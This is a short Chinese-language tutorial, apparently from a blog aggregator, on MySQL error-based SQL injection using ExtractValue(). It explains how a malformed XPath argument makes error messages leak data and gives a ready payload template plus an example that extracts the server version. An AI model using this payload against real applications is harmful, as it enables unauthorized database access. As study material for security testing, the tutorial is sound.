1. 程式人生 > 其它 >MYSQL 通過ExtractValue()報錯注入

MYSQL 通過ExtractValue()報錯注入

技術標籤:mysql

函式解釋:

extractvalue():從目標XML中返回包含所查詢值的字串。
  EXTRACTVALUE (XML_document, XPath_string);
  第一個引數:XML_document是String格式,為XML文件物件的名稱
  第二個引數:XPath_string (Xpath格式的字串)
  concat:返回結果為連線引數產生的字串。

報錯原理

例如:SELECT ExtractValue('<a><b><b/></a>', '/a/b'); 就是尋找前一段xml文件內容中的a節點下的b節點,這裡如果Xpath格式語法書寫錯誤的話,就會報錯。這裡就是利用這個特性來獲得我們想要知道的內容。

1551927935215

約束條件

輸出字元長度限制為32個字元

注入語句

and extractvalue(null,concat(0x7e,(程式碼操作),0x7e))

舉例

select * from users where id and extractvalue(null,concat(0x7e,(select version()),0x7e));

在這裡插入圖片描述